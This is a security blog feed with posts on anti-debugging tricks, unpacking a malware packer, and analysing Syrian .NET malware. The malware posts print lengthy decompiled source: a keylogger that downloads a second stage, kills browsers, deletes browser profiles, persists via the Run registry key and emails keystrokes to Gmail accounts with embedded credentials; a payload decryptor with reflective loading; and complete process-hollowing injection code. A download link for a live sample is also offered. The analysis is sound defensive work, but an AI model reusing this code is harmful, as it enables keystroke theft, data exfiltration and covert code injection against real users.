Quantcast
Channel: reversing – Joe's Security Blog
Viewing all 37 articles
Browse latest View live

Updates! Updates! Updates!

$
0
0

Howdy all!

It’s been a dog’s age. I’ve been busy with work and personal things. I enjoyed a brief 3 month relationship only to return to a life of loneliness. For now anyways.
CactusCon went well. Had a nice turn out for my work shop. Hopefully the attendees learned something as I tried to make it as interactive as possible.

Now for the good stuff:

I’ve been browsing the source code for Zues. Since its source code publication, many copycats have spawned. The part I was interested in was its VM detection, specifically virtualbox (since that’s what I use).

	if (!CheckReg("HARDWARE\\DESCRIPTION\\System","SystemBiosVersion", szBuf, BUF_SIZE)) return true;
	if (STR::Pos("VBOX", szBuf)) return true;

Seems like it only checks the registry. Good to know , but I wish they went into more depth. Check out the fill file here or the whole thing on
github.

I recently discovered the holy grail of anti-debugging techniques. 150 pages of awesome and I’m trying to go through it all.

I’ve also figured out how to do the EBFE trick in my C programs:

#define jump2self __asm _emit 0xEB __asm _emit 0xFE

The “emit” pseudo-function lets you insert 1 byte at a time into programs. It’s a bit more graceful than just jumping to a random place in memory and crashing.
This allows me to insert asm instructions which may or may not be recognized by the compiler, but are accepted by the CPU. ICEBP comes to mind (0xF1).

#define iceBP __asm _emit 0xF1

This of course works best with Pelles C compiler. It’s a bit different when using something like MingW with CodeBlocks as it has to conform to *nix standards. Since there is no ‘__emit’ function / keyword on Linux, you have to do the following:

    asm __volatile__ (".byte 0xEB");
    asm __volatile__ (".byte 0xFE");

    asm __volatile__ (".byte 0xF1");

Aside from that, my work continues on my anti-virus program with strides being made in the driver. Expecting an alpha release just in time for blackhat / HOPE (which I am presenting at).

I promise to have a more comprehensive blog post next time. Until next time, hack on!
1219376966785


Unpacking the Local-App-Wizard packer

$
0
0

Howdy all!

On this glorious Saturday night we’re going to go over how to unpack the ‘Local-App-Wizard’ packer.

The way the packer works is by creating a suspended process of itself, hollowing it out / allocating the space with memory mapped files, and writing the contents of the unpacked version of itself to this newly created process with WriteProcessMemory, then calling ResumeThread to run the unpacked binary. Since there are no file operations involved, you can’t just run the app and save the file it copies over. Instead, we have to catch the packed app before it runs, but after it has been unpacked.

I don’t really know where this packer comes from, but one can always tell this packer is in use by the identifying string in the packed binary “Local App-Wizard-Generated Applications”.

packer1

Another dead give away comes from a CreateFile call that checks for the existence of a particular file ‘C:\myapp.exe’
packer2

You don’t need much to unpack binaries packed with ‘Local App-Wizard’. I’ll be using Immunity Debugger of course, and my debugger script (python).

First thing we do is load the app, then run my debugger script (type !mybp).
packer3

Next, run the app (F9) and skip over any access violations (shift + F9). The first breakpoint we hit will be a createfile call to “myapp.exe” or some variation of it since the writers of the packer keep changing it up.
packer4

Here is our CreateProcess call with the CREATE_SUSPENDED process creation flag set (0×00000004).
packer5

This newly spawned process will hold the contents of the unpacked binary.

Here is our MapViewOfFile call which allows for a file mapping to be copied into the address space of a calling process.
packer6

And now, most interestingly is our WriteProcessMemory call. Thanks to bad engineering on the packer writer’s call, all we have to do is follow the address of the buffer pointed to in the API call in our dump to get the unpacked binary.
packer7

From here, it’s a simple matter of right clicking the dump and saving the output of the dump to a file. Immunity is nice enough to format the file as a binary. The program we saved is complete with section headers, alignment, IAT, and all that other stuff that’s a pain in the ass to restore.packer8

Assuming the newly unpacked program isn’t packed again, we have 2 choices.
1) Wait for the ResumeThread call and dump the RAM for use with Voltality or Process Hacker.
2) Just work with what I have – the unpacked binary.

Lucky for me, the binary isn’t packed twice, so option 2 it is. Browsing in IDA, I have what I want now – C&C info, user agent strings, and the HTTP method which can be used to create a Snort rule.
packer9

Maybe one day I’ll write a quick python script to do all of this for me, but for now, it takes like 30 seconds using the Immunity and my script.

You can download the malware lhere. The password is infected.

Happy Cracking!

1361267039079

Syrian Malware 2 – Electric Boogaloo

$
0
0

Back for part 2 are we? Let’s get this show on the road. We’ve seen how awful the first piece of malware was in terms of how it was thrown together in all but 10 minutes, but you aint seen nothing yet. The next one actually embeds passwords inside and even email addresses. After that, I’ll go over a little more complicated example which uses reflection and a laughable encryption routine complete with code to decrypt. I’ll even include the source code.

Filename: MyLogerMailEnd.exe
MD5 Hash: 7D867D6BD5FC3015A31FDFA121BA9187
Detection ratio: 42 / 50

Yet another .net binary straight outta Syria. binary ships with multiple classes. The first one that stands out is a class for logging keystrokes, unless you can think of another reason to name your class ‘keyboard’ and make use of the API SetWindowsHookExA(). For those of you who don’t know, you can use this API to trap window messages / keyboard events and extract the virtual key codes from each for logging. A method as old as windows itself.
mylog1

Now let’s go over the code in the ‘Form’ class. It’s rather interesting.

private void Form1_Load(object sender, EventArgs e)
{
	try
	{
		bool flag = !File.Exists("c:\\d.doc");
		if (flag)
		{
			MyProject.Computer.Network.DownloadFile("http://www.ckku.com/includes/d.doc", "c:\\Windows\\d.doc");
		}
		Thread.Sleep(4000);
		flag = File.Exists("c:\\Windows\\d.doc");
		if (flag)
		{
			Process.Start("c:\\Windows\\d.doc");
		}
	}
	catch (Exception expr_59)
	{
		ProjectData.SetProjectError(expr_59);
		ProjectData.ClearProjectError();
	}
	Thread.Sleep(30000);
	this.Hide();
	this.k.CreateHook();
	Process[] processesByName = Process.GetProcessesByName("iexplore");
	Process[] processesByName2 = Process.GetProcessesByName("firefox");
	Process[] processesByName3 = Process.GetProcessesByName("chrome");
	Process[] processesByName4 = Process.GetProcessesByName("opera");
	Process[] processesByName5 = Process.GetProcessesByName("Safari");
	Process[] processesByName6 = Process.GetProcessesByName("keyscrambler");
	Process[] processesByName7 = Process.GetProcessesByName("Skype");
	checked
	{
		try
		{
			Process[] array = processesByName;
			for (int i = 0; i < array.Length; i++)
			{
				Process process = array[i];
				process.Kill();
			}
			Process[] array2 = processesByName2;
			for (int j = 0; j < array2.Length; j++)
			{
				Process process2 = array2[j];
				process2.Kill();
			}
			Process[] array3 = processesByName3;
			for (int k = 0; k < array3.Length; k++)
			{
				Process process3 = array3[k];
				process3.Kill();
			}
			Process[] array4 = processesByName4;
			for (int l = 0; l < array4.Length; l++)
			{
				Process process4 = array4[l];
				process4.Kill();
			}
			Process[] array5 = processesByName5;
			for (int m = 0; m < array5.Length; m++)
			{
				Process process5 = array5[m];
				process5.Kill();
			}
			Process[] array6 = processesByName6;
			for (int n = 0; n < array6.Length; n++)
			{
				Process process6 = array6[n];
				process6.Kill();
			}
			Process[] array7 = processesByName7;
			for (int num = 0; num < array7.Length; num++)
			{
				Process process7 = array7[num];
				process7.Kill();
			}
			string text = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
			text += "\\Mozilla\\Firefox\\Profiles\\";
			MyProject.Computer.FileSystem.DeleteDirectory(text, DeleteDirectoryOption.DeleteAllContents);
			string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
			text += "\\Google\\Chrome\\User Data\\Default\\";
			MyProject.Computer.FileSystem.DeleteDirectory(folderPath, DeleteDirectoryOption.DeleteAllContents);
			string folderPath2 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
			text += "\\Opera\\Opera\\cache\\";
			MyProject.Computer.FileSystem.DeleteDirectory(folderPath2, DeleteDirectoryOption.DeleteAllContents);
			folderPath2 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
			text += "\\Apple Computer\\Safari\\History\\";
			string directory;
			MyProject.Computer.FileSystem.DeleteDirectory(directory, DeleteDirectoryOption.DeleteAllContents);
			folderPath2 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
			text += "\\Microsoft\\Windows\\Temporary Internet Files\\";
			string directory2;
			MyProject.Computer.FileSystem.DeleteDirectory(directory2, DeleteDirectoryOption.DeleteAllContents);
		}
		catch (Exception expr_2EA)
		{
			ProjectData.SetProjectError(expr_2EA);
			ProjectData.ClearProjectError();
		}
		string text2 = this.RichTextBox1.Text;
		bool flag = text2.Contains("facebook") | text2.Contains("FACEBOOK") | text2.Contains("hotmail") | text2.Contains("HOTMAIL") | text2.Contains("yahoo") | text2.Contains("YAHOO") | text2.Contains("GMAIL") | text2.Contains("gmail");
		if (flag)
		{
		}
		string text3 = "C:\\Users\\system.exe";
		string text4 = "C:\\Windows\\system.exe";
		string text5 = "D:\\system.exe";
		try
		{
			flag = !File.Exists(text3);
			if (flag)
			{
				string fileName = Path.GetFileName(Application.ExecutablePath);
				MyProject.Computer.FileSystem.CopyFile(fileName, text3, true);
				File.SetAttributes(text3, File.GetAttributes(text3) | FileAttributes.Hidden);
			}
			else
			{
				flag = !File.Exists(text4);
				if (flag)
				{
					string fileName2 = Path.GetFileName(Application.ExecutablePath);
					MyProject.Computer.FileSystem.CopyFile(fileName2, text4, true);
					File.SetAttributes(text4, File.GetAttributes(text4) | FileAttributes.Hidden);
				}
				else
				{
					flag = !File.Exists(text5);
					if (flag)
					{
						string fileName3 = Path.GetFileName(Application.ExecutablePath);
						MyProject.Computer.FileSystem.CopyFile(fileName3, text5, true);
						File.SetAttributes(text5, File.GetAttributes(text5) | FileAttributes.Hidden);
					}
				}
			}
		}
		catch (Exception expr_44A)
		{
			ProjectData.SetProjectError(expr_44A);
			ProjectData.ClearProjectError();
		}
		try
		{
			RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
			registryKey.SetValue("System1", "\"" + text3 + "\"");
			registryKey.Close();
			registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
			registryKey.SetValue("System2", "\"" + text4 + "\"");
			registryKey.Close();
			registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
			registryKey.SetValue("System2", "\"" + text5 + "\"");
			registryKey.Close();
		}
		catch (Exception expr_503)
		{
			ProjectData.SetProjectError(expr_503);
			ProjectData.ClearProjectError();
		}
	}
}

It starts off by checking for the contents of the file ‘d.doc’ in the windows directory. If the file doesn’t exist (ie; first run), then it attempts to download the file from “http://www.ckku.com/includes/d.doc”, likely some hacked site used to deliver stage 3. Next it checks to see if any browsers are running as well as Skype, and ‘keyscrambler’ – an anti key logging program. It then attempts to kill said processes. After that, the malware copies itself to the locations C:\\Users\\system.exe, C:\\Windows\\system.exe, and D:\\system.exe and sets the file flags as hidden. Finally, it adds itself to start up using the all to familiar registry key “HKLM\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run”.

That’s fine and dandy, but let’s bring on the fail shall we?
There are 3 timer objects, set to go off every 30 seconds or so.
Timer1:

private void Timer1_Tick(object sender, EventArgs e)
{
	bool flag = this.isRunning("skype.exe");
	if (flag)
	{
		bool flag2 = this.RichTextBox2.TextLength > 0;
		if (flag2)
		{
			try
			{
				HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("http://automation.whatismyip.com/n09230945.asp");
				HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
				Stream responseStream = httpWebResponse.GetResponseStream();
				StreamReader streamReader = new StreamReader(responseStream);
				string str = streamReader.ReadToEnd();
				MailMessage mailMessage = new MailMessage();
				mailMessage.From = new MailAddress("bestjamool@gmail.com");
				mailMessage.To.Add("bestjamool@gmail.com");
				mailMessage.To.Add("933luckystrike@gmail.com");
				mailMessage.Subject = "New Message Skype Account from" + MyProject.User.Name;
				mailMessage.Body = "Ip Addres Is : " + str + "\r\n" + this.RichTextBox2.Text;
				new SmtpClient("smtp.gmail.com")
				{
					Port = 587,
					Credentials = new NetworkCredential("bestjamool@gmail.com", "masterhacker!@)"),
					EnableSsl = true
				}.Send(mailMessage);
				this.RichTextBox2.Text = "";
			}
			catch (Exception expr_12D)
			{
				ProjectData.SetProjectError(expr_12D);
				ProjectData.ClearProjectError();
			}
		}
		else
		{
			this.RichTextBox2.Text = "";
		}
	}
}

Timer 2:

private void Timer2_Tick(object sender, EventArgs e)
{
	try
	{
		HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("http://automation.whatismyip.com/n09230945.asp");
		HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
		Stream responseStream = httpWebResponse.GetResponseStream();
		StreamReader streamReader = new StreamReader(responseStream);
		string str = streamReader.ReadToEnd();
		string text = this.RichTextBox1.Text;
		bool flag = text.Contains("facebook") | text.Contains("FACEBOOK") | text.Contains("hotmail") | text.Contains("HOTMAIL") | text.Contains("yahoo") | text.Contains("YAHOO") | text.Contains("GMAIL") | text.Contains("gmail");
		if (flag)
		{
			this.Timer2.Start();
			MailMessage mailMessage = new MailMessage();
			mailMessage.From = new MailAddress("bestjamool@gmail.com");
			mailMessage.To.Add("bestjamool@gmail.com");
			mailMessage.To.Add("933luckystrike@gmail.com");
			mailMessage.Subject = "New Account From " + MyProject.User.Name;
			mailMessage.Body = "Ip Addres Is : " + str + "\r\n" + this.RichTextBox1.Text;
			new SmtpClient("smtp.gmail.com")
			{
				Port = 587,
				Credentials = new NetworkCredential("bestjamool@gmail.com", "masterhacker!@)"),
				EnableSsl = true
			}.Send(mailMessage);
			this.RichTextBox1.Text = "";
		}
		else
		{
			this.RichTextBox1.Text = "";
		}
	}
	catch (Exception expr_19E)
	{
		ProjectData.SetProjectError(expr_19E);
		ProjectData.ClearProjectError();
	}
}

And last but not least, timer 3:

private void Timer3_Tick(object sender, EventArgs e)
{
	bool flag = this.isRunning("skype.exe");
	if (flag)
	{
		bool flag2 = this.RichTextBox2.TextLength > 0;
		if (flag2)
		{
			try
			{
				HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("http://automation.whatismyip.com/n09230945.asp");
				HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse();
				Stream responseStream = httpWebResponse.GetResponseStream();
				StreamReader streamReader = new StreamReader(responseStream);
				string str = streamReader.ReadToEnd();
				MailMessage mailMessage = new MailMessage();
				mailMessage.From = new MailAddress("933luckystrike@gmail.com");
				mailMessage.To.Add("bestjamool@gmail.com");
				mailMessage.To.Add("933luckystrike@gmail.com");
				mailMessage.Subject = "New Message Skype Account from" + MyProject.User.Name;
				mailMessage.Body = "Ip Addres Is : " + str + "\r\n" + this.RichTextBox2.Text;
				new SmtpClient("smtp.gmail.com")
				{
					Port = 587,
					Credentials = new NetworkCredential("933luckystrike@gmail.com", "masterhacker!@))"),
					EnableSsl = true
				}.Send(mailMessage);
				this.RichTextBox2.Text = "";
			}
			catch (Exception expr_12D)
			{
				ProjectData.SetProjectError(expr_12D);
				ProjectData.ClearProjectError();
			}
		}
		else
		{
			this.RichTextBox2.Text = "";
		}
	}
}

1404838449738

That’s right, included in the drop is the gmail user / password. And before you check, I’ll save you time – google already locked out the accounts.

All in all, the malware attempts to download and run a second binary, starts logging keystrokes, kills the browsers, and loads itself on startup, all the while sending the keystrokes and IP address to some gmail address.

Now for the second binary.

Filename: derp_syria.exe
MD5 Hash: C09D23A8E44C3170E9AF0132788FCEB0
Detection ratio: 44 / 49

It is of course a .net binary (surprise surprise). First introspection when opened up in .net decompiler we see a binary stream in the form of a resource file.

syr1
And a look see at the file:
syr3
Definitely something to this judging by its size and repetition of characters. We’ll come back to that later.

Peeking at the source code of the main method / classes, we see how malware uses this benign resource file.

using Project1_Remake.Properties;
using System;
using System.ComponentModel;
using System.Reflection;
using System.Text;
namespace Project1_Remake
{
	public class Component1 : Component
	{
		private static byte[] myShit = Convert.FromBase64String(Resources.String1);
		private static string whatacrap = "Doc";
		private static byte myFirstbyte;
		private static byte[] myFirstarraybyte;
		private static byte[] mySecondarraybyte;
		private static int nysKO = 0;
		private IContainer components;
		public static byte[] polyMal()
		{
			Array.Reverse(Component1.myShit);
			Component1.myFirstbyte = Component1.myShit[Component1.myShit.Length - 1];
			Component1.myFirstarraybyte = Encoding.ASCII.GetBytes(Component1.whatacrap);
			Component1.mySecondarraybyte = new byte[Component1.myShit.Length + 1];
			for (int i = 0; i <= Component1.myShit.Length - 1; i++)
			{
				Component1.mySecondarraybyte[i] = Convert.ToByte((int)(Component1.myShit[i] ^ Component1.myFirstbyte ^ Component1.myFirstarraybyte[Component1.nysKO]));
				Array.Reverse(Component1.myFirstarraybyte);
				if (Component1.nysKO == Component1.myFirstarraybyte.Length - 1)
				{
					Component1.nysKO = 0;
				}
				else
				{
					Component1.nysKO++;
				}
			}
			Array.Resize<byte>(ref Component1.mySecondarraybyte, Component1.mySecondarraybyte.Length - 2);
			return Component1.mySecondarraybyte;
		}
		private static void Main()
		{
			byte[] rawAssembly = Component1.polyMal();
			Assembly assembly = AppDomain.CurrentDomain.Load(rawAssembly);
			Type type = assembly.GetType("Project1.ue4tretr");
			MethodInfo method = type.GetMethod("tuy5u6ruy");
			method.Invoke(null, null);
		}
		protected override void Dispose(bool disposing)
		{
			if (disposing && this.components != null)
			{
				this.components.Dispose();
			}
			base.Dispose(disposing);
		}
		private void InitializeComponent()
		{
			this.components = new Container();
		}
	}
}

using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Globalization;
using System.Resources;
using System.Runtime.CompilerServices;
namespace Project1_Remake.Properties
{
	[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), DebuggerNonUserCode, CompilerGenerated]
	internal class Resources
	{
		private static ResourceManager resourceMan;
		private static CultureInfo resourceCulture;
		[EditorBrowsable(EditorBrowsableState.Advanced)]
		internal static ResourceManager ResourceManager
		{
			get
			{
				if (object.ReferenceEquals(Resources.resourceMan, null))
				{
					ResourceManager resourceManager = new ResourceManager("Project1_Remake.Properties.Resources", typeof(Resources).Assembly);
					Resources.resourceMan = resourceManager;
				}
				return Resources.resourceMan;
			}
		}
		[EditorBrowsable(EditorBrowsableState.Advanced)]
		internal static CultureInfo Culture
		{
			get
			{
				return Resources.resourceCulture;
			}
			set
			{
				Resources.resourceCulture = value;
			}
		}
		internal static string String1
		{
			get
			{
				return Resources.ResourceManager.GetString("String1", Resources.resourceCulture);
			}
		}
		internal Resources()
		{
		}
	}
}

Ya like that eh? Rot 13 meets XOR. The beauty of .net is how easy it is to rip off other people’s code. And that’s what I’m gonna do now, in order to get to payload of this malware – what it intends to run. Instead of launching with the ‘method.invoke()’ call, I’m just writing the contents of the byte stream to a file for analysis:
syr2

After running, we can now pick apart the contents of ‘lolfile.joe’ and yes, it IS another .net binary.

Filename: lolfail.joe
MD5 Hash: 0AB60A0C36A61054E094DB02CB30EF38
Detection Ratio: Unknown

Here’s ‘lolfile.joe’ in the disassembler:
syr6

And before you say it, yes, there IS another binary in the resources! Not encrypted this time, but still.
syr4

Here it is again in the decompiler. Very convoluted, but not encrypted. I wouldn’t even say obfuscated, just arranged weird:
syr5

This new binary does nothing more than place the binary ‘sppnp.exe’ on startup using the registry. Not very interesting.

Let’s focus on the interesting stuff now. The first class named ‘RuntimePortableExecutable’ contains methods for the creation and execution of an exe file via injection or process hollowing. The API’s that stand out and make this evident are WriteProcessMemory, VirtualProtectEx, ResumeThread, ZwUnmapViewOfSection, GetThreadContext, and SetThreadContext.

Two methods that stand out are used for the creation / injection of an exe into a processes’ memory. There’s a method for windows xp, and windows 7:

XP

public static void WindowsXp(byte[] data, string target)
		{
			RuntimePortableExecutable.Context context = default(RuntimePortableExecutable.Context);
			RuntimePortableExecutable.ProcessInformation processInformation = default(RuntimePortableExecutable.ProcessInformation);
			RuntimePortableExecutable.StartupInformation startupInformation = default(RuntimePortableExecutable.StartupInformation);
			RuntimePortableExecutable.SecurityFlags securityFlags = default(RuntimePortableExecutable.SecurityFlags);
			RuntimePortableExecutable.SecurityFlags securityFlags2 = default(RuntimePortableExecutable.SecurityFlags);
			GCHandle gCHandle = GCHandle.Alloc(data, GCHandleType.Pinned);
			IntPtr intPtr = gCHandle.AddrOfPinnedObject();
			int num = intPtr.ToInt32();
			RuntimePortableExecutable.DosHeader dosHeader;
			object expr_59 = Marshal.PtrToStructure(gCHandle.AddrOfPinnedObject(), dosHeader.GetType());
			RuntimePortableExecutable.DosHeader dosHeader2;
			dosHeader = ((expr_59 != null) ? ((RuntimePortableExecutable.DosHeader)expr_59) : dosHeader2);
			gCHandle.Free();
			string text = null;
			bool arg_8B_4 = false;
			uint arg_8B_5 = 4u;
			IntPtr intPtr2;
			IntPtr arg_8B_6 = intPtr2;
			string text2 = null;
			if (!(-(RuntimePortableExecutable.CreateProcess(ref text, ref target, ref securityFlags, ref securityFlags2, arg_8B_4, arg_8B_5, arg_8B_6, ref text2, ref startupInformation, out processInformation) > false)))
			{
				return;
			}
			intPtr = new IntPtr(num + dosHeader.Address);
			RuntimePortableExecutable.NtHeaders ntHeaders;
			object expr_BB = Marshal.PtrToStructure(intPtr, ntHeaders.GetType());
			RuntimePortableExecutable.NtHeaders ntHeaders2;
			ntHeaders = ((expr_BB != null) ? ((RuntimePortableExecutable.NtHeaders)expr_BB) : ntHeaders2);
			startupInformation.CB = Strings.Len(startupInformation);
			context.Flags = 65538u;
			if ((ulong)ntHeaders.Signature != 17744uL | dosHeader.Magic != 23117)
			{
				return;
			}
			bool arg_163_0 = RuntimePortableExecutable.GetThreadContext(processInformation.Thread, ref context);
			IntPtr arg_150_0 = processInformation.Process;
			IntPtr arg_150_1 = (IntPtr)((long)((ulong)context.Ebx + 8uL));
			long num2;
			intPtr = (IntPtr)num2;
			IntPtr arg_150_3 = (IntPtr)4;
			int num3 = 0;
			int arg_15E_0 = RuntimePortableExecutable.ReadProcessMemory(arg_150_0, arg_150_1, ref intPtr, arg_150_3, ref num3);
			num2 = (long)intPtr;
			if (arg_163_0 & arg_15E_0 >= 0 & RuntimePortableExecutable.ZwUnmapViewOfSection(processInformation.Process, (IntPtr)num2) >= 0L)
			{
				uint num4 = (uint)((int)RuntimePortableExecutable.VirtualAllocEx(processInformation.Process, (IntPtr)((long)((ulong)ntHeaders.Optional.Image)), ntHeaders.Optional.SImage, 12288u, 4u));
				if ((ulong)num4 != 0uL)
				{
					IntPtr arg_1EC_0 = processInformation.Process;
					IntPtr arg_1EC_1 = (IntPtr)((long)((ulong)num4));
					IntPtr arg_1EC_3 = (IntPtr)((long)((ulong)ntHeaders.Optional.SHeaders));
					uint num5;
					num3 = (int)num5;
					RuntimePortableExecutable.WriteProcessMemory(arg_1EC_0, arg_1EC_1, data, arg_1EC_3, out num3);
					num5 = (uint)num3;
					long num6 = (long)(dosHeader.Address + 248);
					int arg_217_0 = 0;
					int num7 = (int)(ntHeaders.File.Sections - 1);
					for (int i = arg_217_0; i <= num7; i++)
					{
						intPtr = new IntPtr((long)num + num6 + (long)(i * 40));
						RuntimePortableExecutable.SectionHeader sectionHeader;
						object expr_244 = Marshal.PtrToStructure(intPtr, sectionHeader.GetType());
						RuntimePortableExecutable.SectionHeader sectionHeader2;
						sectionHeader = ((expr_244 != null) ? ((RuntimePortableExecutable.SectionHeader)expr_244) : sectionHeader2);
						byte[] array = new byte[sectionHeader.Size + 1u];
						int arg_277_0 = 0;
						int num8 = (int)((ulong)sectionHeader.Size - 1uL);
						for (int j = arg_277_0; j <= num8; j++)
						{
							array[j] = data[(int)((ulong)sectionHeader.Pointer + (ulong)((long)j))];
						}
						IntPtr arg_2C7_0 = processInformation.Process;
						IntPtr arg_2C7_1 = (IntPtr)((long)((ulong)(num4 + sectionHeader.Address)));
						byte[] arg_2C7_2 = array;
						IntPtr arg_2C7_3 = (IntPtr)((long)((ulong)sectionHeader.Size));
						num3 = (int)num5;
						RuntimePortableExecutable.WriteProcessMemory(arg_2C7_0, arg_2C7_1, arg_2C7_2, arg_2C7_3, out num3);
						num5 = (uint)num3;
						RuntimePortableExecutable.VirtualProtectEx(processInformation.Process, (IntPtr)((long)((ulong)(num4 + sectionHeader.Address))), (UIntPtr)sectionHeader.Misc.Size, (UIntPtr)((ulong)RuntimePortableExecutable.Protect((long)((ulong)sectionHeader.Flags))), (uint)num2);
					}
					byte[] bytes = BitConverter.GetBytes(num4);
					IntPtr arg_350_0 = processInformation.Process;
					IntPtr arg_350_1 = (IntPtr)((long)((ulong)context.Ebx + 8uL));
					byte[] arg_350_2 = bytes;
					IntPtr arg_350_3 = (IntPtr)4;
					num3 = (int)num5;
					RuntimePortableExecutable.WriteProcessMemory(arg_350_0, arg_350_1, arg_350_2, arg_350_3, out num3);
					num5 = (uint)num3;
					context.Eax = num4 + ntHeaders.Optional.Address;
					RuntimePortableExecutable.SetThreadContext(processInformation.Thread, ref context);
					RuntimePortableExecutable.ResumeThread(processInformation.Thread);
				}
			}
		}

Win7

public static void Windows7(byte[] data, string target)
		{
			RuntimePortableExecutable.Context context = default(RuntimePortableExecutable.Context);
			RuntimePortableExecutable.ProcessInformation processInformation = default(RuntimePortableExecutable.ProcessInformation);
			RuntimePortableExecutable.StartupInformation startupInformation = default(RuntimePortableExecutable.StartupInformation);
			RuntimePortableExecutable.SecurityFlags securityFlags = default(RuntimePortableExecutable.SecurityFlags);
			RuntimePortableExecutable.SecurityFlags securityFlags2 = default(RuntimePortableExecutable.SecurityFlags);
			GCHandle gCHandle = GCHandle.Alloc(data, GCHandleType.Pinned);
			IntPtr ptr = gCHandle.AddrOfPinnedObject();
			int num = ptr.ToInt32();
			RuntimePortableExecutable.DosHeader dosHeader;
			object expr_58 = Marshal.PtrToStructure(gCHandle.AddrOfPinnedObject(), dosHeader.GetType());
			RuntimePortableExecutable.DosHeader dosHeader2;
			dosHeader = ((expr_58 != null) ? ((RuntimePortableExecutable.DosHeader)expr_58) : dosHeader2);
			gCHandle.Free();
			string text = null;
			bool arg_8A_4 = false;
			uint arg_8A_5 = 4u;
			IntPtr intPtr;
			IntPtr arg_8A_6 = intPtr;
			string text2 = null;
			if (!(-(RuntimePortableExecutable.CreateProcess(ref text, ref target, ref securityFlags, ref securityFlags2, arg_8A_4, arg_8A_5, arg_8A_6, ref text2, ref startupInformation, out processInformation) > false)))
			{
				return;
			}
			ptr = new IntPtr(num + dosHeader.Address);
			RuntimePortableExecutable.NtHeaders ntHeaders;
			object expr_BA = Marshal.PtrToStructure(ptr, ntHeaders.GetType());
			RuntimePortableExecutable.NtHeaders ntHeaders2;
			ntHeaders = ((expr_BA != null) ? ((RuntimePortableExecutable.NtHeaders)expr_BA) : ntHeaders2);
			startupInformation.CB = Strings.Len(startupInformation);
			context.Flags = 65538u;
			if ((ulong)ntHeaders.Signature != 17744uL | dosHeader.Magic != 23117)
			{
				return;
			}
			bool arg_15A_0 = RuntimePortableExecutable.GetThreadContext(processInformation.Thread, ref context);
			IntPtr arg_14F_0 = processInformation.Process;
			IntPtr arg_14F_1 = (IntPtr)((long)((ulong)context.Ebx + 8uL));
			ptr = (IntPtr)0;
			IntPtr arg_14F_3 = (IntPtr)4;
			int num2 = 0;
			if (arg_15A_0 & RuntimePortableExecutable.ReadProcessMemory(arg_14F_0, arg_14F_1, ref ptr, arg_14F_3, ref num2) >= 0 & RuntimePortableExecutable.ZwUnmapViewOfSection(processInformation.Process, (IntPtr)0) >= 0L)
			{
				uint num3 = (uint)((int)RuntimePortableExecutable.VirtualAllocEx(processInformation.Process, (IntPtr)((long)((ulong)ntHeaders.Optional.Image)), ntHeaders.Optional.SImage, 12288u, 4u));
				if ((ulong)num3 != 0uL)
				{
					IntPtr arg_1E3_0 = processInformation.Process;
					IntPtr arg_1E3_1 = (IntPtr)((long)((ulong)num3));
					IntPtr arg_1E3_3 = (IntPtr)((long)((ulong)ntHeaders.Optional.SHeaders));
					uint num4;
					num2 = (int)num4;
					RuntimePortableExecutable.WriteProcessMemory(arg_1E3_0, arg_1E3_1, data, arg_1E3_3, out num2);
					num4 = (uint)num2;
					long num5 = (long)(dosHeader.Address + 248);
					int arg_20E_0 = 0;
					int num6 = (int)(ntHeaders.File.Sections - 1);
					for (int i = arg_20E_0; i <= num6; i++)
					{
						ptr = new IntPtr((long)num + num5 + (long)(i * 40));
						RuntimePortableExecutable.SectionHeader sectionHeader;
						object expr_23B = Marshal.PtrToStructure(ptr, sectionHeader.GetType());
						RuntimePortableExecutable.SectionHeader sectionHeader2;
						sectionHeader = ((expr_23B != null) ? ((RuntimePortableExecutable.SectionHeader)expr_23B) : sectionHeader2);
						byte[] array = new byte[sectionHeader.Size + 1u];
						int arg_26E_0 = 0;
						int num7 = (int)((ulong)sectionHeader.Size - 1uL);
						for (int j = arg_26E_0; j <= num7; j++)
						{
							array[j] = data[(int)((ulong)sectionHeader.Pointer + (ulong)((long)j))];
						}
						IntPtr arg_2BE_0 = processInformation.Process;
						IntPtr arg_2BE_1 = (IntPtr)((long)((ulong)(num3 + sectionHeader.Address)));
						byte[] arg_2BE_2 = array;
						IntPtr arg_2BE_3 = (IntPtr)((long)((ulong)sectionHeader.Size));
						num2 = (int)num4;
						RuntimePortableExecutable.WriteProcessMemory(arg_2BE_0, arg_2BE_1, arg_2BE_2, arg_2BE_3, out num2);
						num4 = (uint)num2;
						RuntimePortableExecutable.VirtualProtectEx(processInformation.Process, (IntPtr)((long)((ulong)(num3 + sectionHeader.Address))), (UIntPtr)sectionHeader.Misc.Size, (UIntPtr)((ulong)RuntimePortableExecutable.Protect((long)((ulong)sectionHeader.Flags))), 0u);
					}
					byte[] bytes = BitConverter.GetBytes(num3);
					IntPtr arg_346_0 = processInformation.Process;
					IntPtr arg_346_1 = (IntPtr)((long)((ulong)context.Ebx + 8uL));
					byte[] arg_346_2 = bytes;
					IntPtr arg_346_3 = (IntPtr)4;
					num2 = (int)num4;
					RuntimePortableExecutable.WriteProcessMemory(arg_346_0, arg_346_1, arg_346_2, arg_346_3, out num2);
					num4 = (uint)num2;
					context.Eax = num3 + ntHeaders.Optional.Address;
					RuntimePortableExecutable.SetThreadContext(processInformation.Thread, ref context);
					RuntimePortableExecutable.ResumeThread(processInformation.Thread);
				}
			}
		}
	

